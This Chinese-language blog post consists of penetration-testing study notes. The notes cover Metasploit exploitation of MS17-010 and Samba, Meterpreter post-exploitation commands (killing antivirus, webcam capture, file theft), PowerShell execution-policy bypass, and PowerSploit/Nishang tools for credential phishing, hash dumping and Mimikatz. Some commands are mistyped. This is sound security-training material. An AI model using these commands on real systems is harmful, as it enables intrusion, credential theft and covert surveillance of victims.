2.Exploit:漏洞利用模块

测试者通过一个系统,一个应用或服务器中的安全漏洞进行的攻击行为

3.Payload:攻击载荷模块

在被渗透攻击之后完成攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令或执行特定代码

4.Post:后期渗透模块

取得目标系统远程控制权后,进行一系列的后渗透攻击动作

5.Encoders:编码工具模块

负责免杀,防止被杀毒软件、防火墙、IDS及类似的软件测试出来

渗透攻击步骤

使用MSF渗透测试时,可以综合使用以上模块,对目标系统进行侦察并发动攻 击,大致的步骤如下所示。

  1. 扫描目标机系统,寻找可用漏洞。
  2. 选择并配置一个漏洞利用模块。
  3. 选择并配置一个攻击载荷模块。
  4. 选择一个编码技术,用来绕过杀毒软件的查杀。 ·
  5. 渗透攻击。

实战MSF

msfconsole启动MSF

search  17-010  #首先使用漏洞探测工具探测存在漏洞的机器
use  0
set  RHOSTS  192.168.21.130
show  options
shell  #获得权限
#启动监听
use  exploit/multi/handler   #之后攻击主机上打开word
set payload  windows/meterpreter/reverse_tcp

search 17-010

use 0

set RHOSTS 192.168.21.130

show options

run

shell

whoami

ipconfig

 主机扫描

扫描和搜集信息是渗透测试中的第一步,其主要目标是尽可能多地发展有关目标机器的信息。获取的信息越多,渗透的概率就越大。该步骤是主要关注点是目标机器IP地址,可用服务,开放端口等

use  #漏洞利用模块
show  options  #查看需要设置的参数
set  #设置相应参数
unset  #取消某个参数值的设置
setg  #设置全局性的参数值
unsetg  #取消设置全局性的参数值

1.使用辅助模块进行端口扫描

利用search命令搜索有哪些可用端口模块

show options查看需要设置的参数

2.使用辅助模块进行服务扫描

模块

功能

auxiliary/scanner/portscan

端口扫描

auxiliary/scanner/smb/smb version

SMB系统版本扫描

auxiliary/scanner/smb/smb enumusers

SMB枚举

auxiliary/scanner/smb/smb login

SMB弱口令扫描

auxiliary/admin/smb/psexec command

SMB登录且执行命令

auxiliary/scanner/ssh/ssh login

SSH登录测试

scanner/mssql/mssql ping

MSSQL主机信息扫描

admin/mssql/mssql_enum

MSSQL枚举

admin/mssql/mssql exec

MSSQL执行命令

admin/mssql/mssql_sql

MSSQL查询

scanner/mssql/mssql_login

MSSQL弱口令扫描

auxiliary/admin/mysqlmysql enum

MySQL枚举

auxiliary/admin/mysql/mysql sql

MSSQL语句执行

auxiliary/scanner/mysqlmysql login

MySQD弱口令扫描

auxiliary/scanner/smtp/smtp version

SMTP版本扫描

auxiliary/scanner/smtp/smtp_enum

SMTP技举

auxiliary/scanner/snmp/community

SNMP扫描设备

auxiliary/scanner/telnet/telnet login

TELNET 登录

scanner/vnc/vnc_none auth

VNC空口令扫描

4.使用nmap扫描

获取目标主机的操作系统,输入nmap -O -Pn/-p0 URL命令

Pn和p0 :不使用ping的方法

 漏洞扫描

使用nmap扫描查看系统的开放端口和相关的应用程序

search samba 搜索Samba漏洞利用模块

设置攻击载荷模块

#设置被攻击IP地址
msf  exploit(usermap_script)> set  RHOST 192.168.187.113
#设置漏洞利用的端口号
msf  exploit(usersmap_script) set  RHOST  445
#设置发动攻击主机的IP地址
msf  explioit(usermap_script)>set LHOST  192.168.187.133
#输入exploit或run发动攻击
msf  exploit(usermap_script)>  exploit

 后渗透测试:信息收集

Meterpreter有以下优势。

  • 纯内存工作模式,不需要对磁盘进行任何写入操作。
  • 使用加密通信协议,而且可以同时与几个信道通信。
  • 在被攻击进程内工作,不需要创建新的进程。
  • 易于在多进程之间迁移
  • 平台通用,适用于Windows、Linux、BSD系统,并支持Intelx86和Intel x64平台

进程迁移

ps        获取目标机正在运行的进程
getpid     查看MeterpreterShell的进程号
migrate 448      把Shell移动到PID为448的Explorer.exe进程里
kill 984       “杀掉”该进程。
(run post/windows/manage/ migrate)       自动迁移进程命令系统会自动寻找合适的进程然后迁移

2 系统命令

sysinfo     查看目标机的系统信息
run post/windows/gather/checkvm     检查目标机是否运行在虚拟机上
idletime      看到目标机最近的时间
route        查看目标机完整的网络设置
background      将当前会话放到后台
getuid       查看当前目标机器上已经渗透 成功的用户名
run post/windows/manage/killav命令关闭目标机系统杀毒软件
run post/windows/manage/enable_rdp命令启动目标机的远程桌面协议,也 是常说的3389端口
load  espia  加载espia插件
screengrab    抓取目标机此时屏幕截图
screenshot   生成图片保存在root目录下
-----------------------------------------------------------------------------
webcam 查看目标机有没有摄像头的命令
webcam snap命令打开目标机摄像头
webcam_stream      开启直播模式
shell         进入目标机Shell下面
exit  退出回话

3.文件系统命令

pwd或getwd查看当前处于目标机哪个目录
getlwd  查看当前处于本机的哪个目录
ls  列出当前目录中的所有目录
cd切换目录
search  -f  *.tet  -d  C:\搜索C盘中所有以“.txt”为扩展名的文件
download   C:\text.txt/root   下载目标机c盘的text.txt文件到攻击机root下
upload/root/text.txt    C:\上传攻击机root目录下的text.txt文件到目标机C盘下

第六章  powershell技术

6.1powershell技术

PowerShell是一种基于任务的命令行解释器和脚本环境

常用的PowerShell攻击工具:

PowerSploit:这是众多PowerShell攻击工具中被广泛使用的PowerShell后期的漏洞利用框架,常用来进行信息探测,特权提升,凭证窃取,持久化等操作。

Nishang:基于PowerShell的渗透测试专用工具,集成了框架,脚本和各种Payload,包含下载和执行,键盘记录,DNS,延时命令等脚本。

Empire:基于PowerShell的远程控制木马,可以从凭证数据库中导出和跟踪凭证信息,常用于提供前期漏洞利用的集成模块,信息探测,凭证窃取,持久化控制。

PowerCat:PowerShell版的NetCat,有着网络工具中的”瑞士军刀”美誉,它能通过TCP和UDP在网络中读取数据。通过与其他工具结合和重定向,可以在脚本中以多种方式使用它。

输入get-host或者$PSVersionTable.PSVERSION命令可查看PowerShell版本

1.PS1文件

一个PowerShell脚本其实就是一个简单的 文本文件,这个文件包含了一系列的 PowerShell命令,每个命令显示为独立的一行,PowerShell文件的后缀为 .PS1。

创建脚本

桌面上--右击新建--创建记事本--打开记事本,写入想要输出的内容--文件后缀为ps1,保存

设置此处后,查看文件后缀格式是否为ps1

第二个脚本为字符串 echo显示信息

2.执行策略:

为防止恶意脚本的执行,PowerShell有一个执行策略,默认情况下,这个执行策略被设置为受限。

我们可以使用:

get-ExecutionPolicy  命令查看PowerShell当前的执行策略。它有4个策略。
set-ExecutionPolicy   另外修改PowerShell执行策略:策略名#该命令需要管理员权限运行
restricted	脚本不能运行(默认设置)
remoteSigned	本地创建的脚本可以运行,但是从网上下载的脚本不能运行(拥有数字证书签名的除外)
allSigned	仅当脚本由受信任的发布者签名时才能运行;
unrestricted	允许所有的脚本执行

3.运行脚本

运行脚本1.ps1 内容为get-host

运行脚本2.ps1 内容为vnsdinv

4.管道

管道的作用就是将一个命令的输出作为另一个命令的输入,两个命令之间用管道符号(|)连接

例如:假设停止所有目前运行中的,以“note"字符开头命名的程序

Get-Process note*|stop-process

5.基本知识

get  host  #查看当前powershell版本
新建目录test:New-Item test -ItemType directory
删除目录test:Remove-Item test
新建文件test.txt:New-Item test1.txt -ItemType file
新建文件test.txt,内容为 hello:New-Item test.txt -ItemType file -value "hello"
查看文件test.txt内容:Get-Content  test.txt
设置文件test.txt内容t:Set-Content  test.txt  -Value "haha"
追加test.txt内容:Add-Content test.txt  -Value ",word!"
清除test.txt内容:Clear-Content test.txt
删除文件test.txt:Remove-Item test.txt

追加,清除内容和删除文件

绕过执行策略执行PowerShell脚本

如果运行PowerShell脚本程序,必须用管理员权限将Restricted策略改成Unrestricted

在渗透测试时,就需要采用一些方法绕过策略来执行PowerShell脚本,列举如下三种方式

#绕过本地权限执行
Powershell  -exec  bypass  .\1.ps
#本地隐藏绕过权限执行脚本
Powershell.exr  -exec bypass  -W  hidden  -nop  1.ps1
#用IEX下载远程PS1脚本绕过权限执行

6.2powersploit

PowerSploit是一款基于PowerShell的后渗透框架软件,包含了很多PowerShell的攻击脚本,它们主要用于渗透中的信息侦测,权限提升、权限维持等。PowerSploit项目地址:https://github.com/PowerShellMafia/PowerSploit

下载PowerSploit脚本到服务器,搭建一个简易的WEB服务器。将PowerSploit目录放到WEB目录,使其可以通过HTTP访问到。这里以kali服务器为例,介绍两种方式

第一种方式:开启apache服务:service apache2 start将powersploit目录放到/var/www/html/中

第二种方式:切换到powersploit目录,然后执行如下命令开启WEB服务器python3 -m http.server 8080Git clone https://github.com/PowerShellMafia/PowerSploit

搭建服务拉取镜像

wget http://114.115.206.63/Power.zip

Su-  提供root账号密码,可以切换到root用户
Sudo su 提供当前用户的密码,也可以切换到root用户
Rm -rf 是一条UNIX系统下的文件删除命令,作用是在无提示地提示强制递归删除文件,删除当前目录下所有文件,并且不能恢复
Rm命令只删除一个目录下的一个或多个文件或目录,只用rm命令不会删除目录,通常文件可以恢复
Systemctl  start  apache2  #启用apache
rm  -rf/var/www/html/*  #删除文件
unzip  -zf/home/liao/PowerSploit-master/*  /var/www/html/
#将powersploit文件复制到该文件
#最后从浏览器查看

在kali搭建完服务器如下

ActivirusBypass:绕过杀毒软件查杀

CodeExecution:在目标主机上执行代码

Exfiltration:目标主机上的信息搜集工具

Mayhem:蓝屏等破坏性的脚本

Persistence:权限维持

Privsec:提权等脚本

Recon:以目标主机为跳板进行内网信息侦查

ScriptModification:在目标主机上创建或修改脚本

6.3Powerup

Powerup是Privesc模块下的一个脚本,功能相当强大,拥有众多实用的脚本来帮助我们寻找目标主机Windows服务漏洞进行提权。通常,在Windows下面我们可以通过内核漏洞来提升权限,但是,我们常常会碰到所处服务器通过内核漏洞提权是行不通的,这个时候,我们就需要通过脆弱的Windows服务提权,比如我们替换掉服务所依赖的DLL文件,当服务重启时,加载我们替换的DLL文件从而完成比如添加管理员账号的操作。或者通过常见的Mssql,Mysql等服务,通过其继承的系统权限来完成提权等等,而今天我将介绍一个非常实用的Powerup模块,此模块可以在内核提权行不通的时候,帮助我们寻找服务器脆弱点进而通过脆弱点实现提权的目的。

Inport-Module  .\1.ps1  #加载脚本模块
Invoke-AllChecks    #执行所有的脚本来检查。

下面开始对模块介绍:

执行方式:PS C:> Invoke-AllChecks

 6.4Nishang

Nishang在PowerShell 3.0以上环境中可正常使用,在win7上PowerShell默认版本是2.0,不太支持,可以在win10中测试或者升级win7的PowerShell 的版本。

使用方式和PowerSploit一样,可以搭建一个WEB服务器,把Nishang脚本放在WEB目录,然后远程去加载调用脚本

为了方便我们直接把Nishang上传到本地服务器,本机加载。首先以管理员启动powershell

导入框架,并查看有哪些模块,如下图

开始对部分模块的功能进行讲解:
1.Check-VM
它是用于检测当前的机器是否是一台已知的虚拟机的。它通过检测已知的一些虚拟机的指纹信息(如:Hyper-V, VMWare, Virtual PC, Virtual Box,Xen,QEMU)来识别,如下可看到是一台虚拟机

2. Invoke-CredentialsPhish
这个脚本用来欺骗用户,让用户输入密码,在不输入正确密码关闭不了对话框,只能强子结束进程
Invoke-CredentialsPhish

 输入服务器正确账号和密码后

 3. Get-PassHashes
在Administrator的权限下,可以dump出密码哈希值。这个脚本来自于msf中powerdump,但做出了修改,使得我们不再需要System权限就可以dump了

4. Invoke-Mimikatz
需要管理员权限,抓取密码

5. Show-TargetScreen
使用MJPEG传输目标机器的远程桌面的实时画面,在本机我们可以使用NC或者Powercat来进行监听。在本地使用支持MJPEG的浏览器(如:Firefox)访问本机对应监听端口,即可在浏览器上面看到远端传输回来的实时画面。

6. Get-PassHints
获取用户的密码提示信息,需要有Administrator权限来读取sam hive
有的时候可以根据提示信息来生成密码文件,大大提高爆破的成功率。还有的人会将明文密码记录在这个提示信息中

第七章  实例分析

7.1  代码审计概念

代码审计,是对应用程序源代码进行系统性检查的工作。它的目的是为了找到并且修复应用程序在开发阶段存在的一些漏洞或者程序逻辑错误,避免程序漏洞被非法利用给企业带来不必要的风险。

代码审计不是简单的检查代码,审计代码的原因是确保代码能安全的做到对信息和资源进行足够的保护,所以熟悉整个应用程序的业务流程对于控制潜在的风险是非常重要的。

代码审计两种基本方式:
通读全文源码:通读全文发作为一种最麻烦的方法也是最全面的审计方法。特别是针对大型程序,源码成千上万行。当然了解整个Web应用的业务逻辑,才能挖掘到更多更有价值的漏洞。
功能点审计:根据漏洞对应发生函数进行功能行审计,常会用到逆向溯源数据流方法进行审计。

代码审计两种基本方法:
正向追踪数据流:跟踪用户输入参数 -> 来到代码逻辑 -> 最后审计代码逻辑缺陷 -> 尝试构造payload
逆向溯源数据流:字符串搜索指定操作函数 -> 跟踪函数可控参数 -> 审计代码逻辑缺陷 -> 尝试构造payload

搭建环境

PHP源码部署环境:Phpstudy

集成开发环境:Zend Studio/Phpstorm

数据库管理工具:Navicat for MySQL

MySQL实时监控工具:MySQLMonitor

文本编辑工具:Sublime_Text3

代码审计辅助工具:Seay源代码审计系统、Rips

代码审计辅助安全工具:渗透版火狐、BurpSuite、Sqlmap

本地文件包含

include() 向上包含,向下包含,如果包含出错继续向下执行
include_once() 同上,只进行包含一次
require() 向上包含,向下包含,如果包含出错不下向下执行
require_once() 同上,只进行包含一次

命令执行


system()
exec()
passthru()
shell_exec()

使用
在path/file中输入需要扫描源码的目录, 其他使用默认设置,点击scan:扫描结果如下:

对扫描出每个漏洞文件,点击左上角的按钮可以查看代码的详细情况

左下角的问号是解释,它会详细的解释这是什么类型的漏洞,并且有漏洞补丁方案

 右下角的红色按钮,可以根据漏洞生成漏洞利用代码

 

 

 

  • 2
    点赞
  • 31
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

K.A.L

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值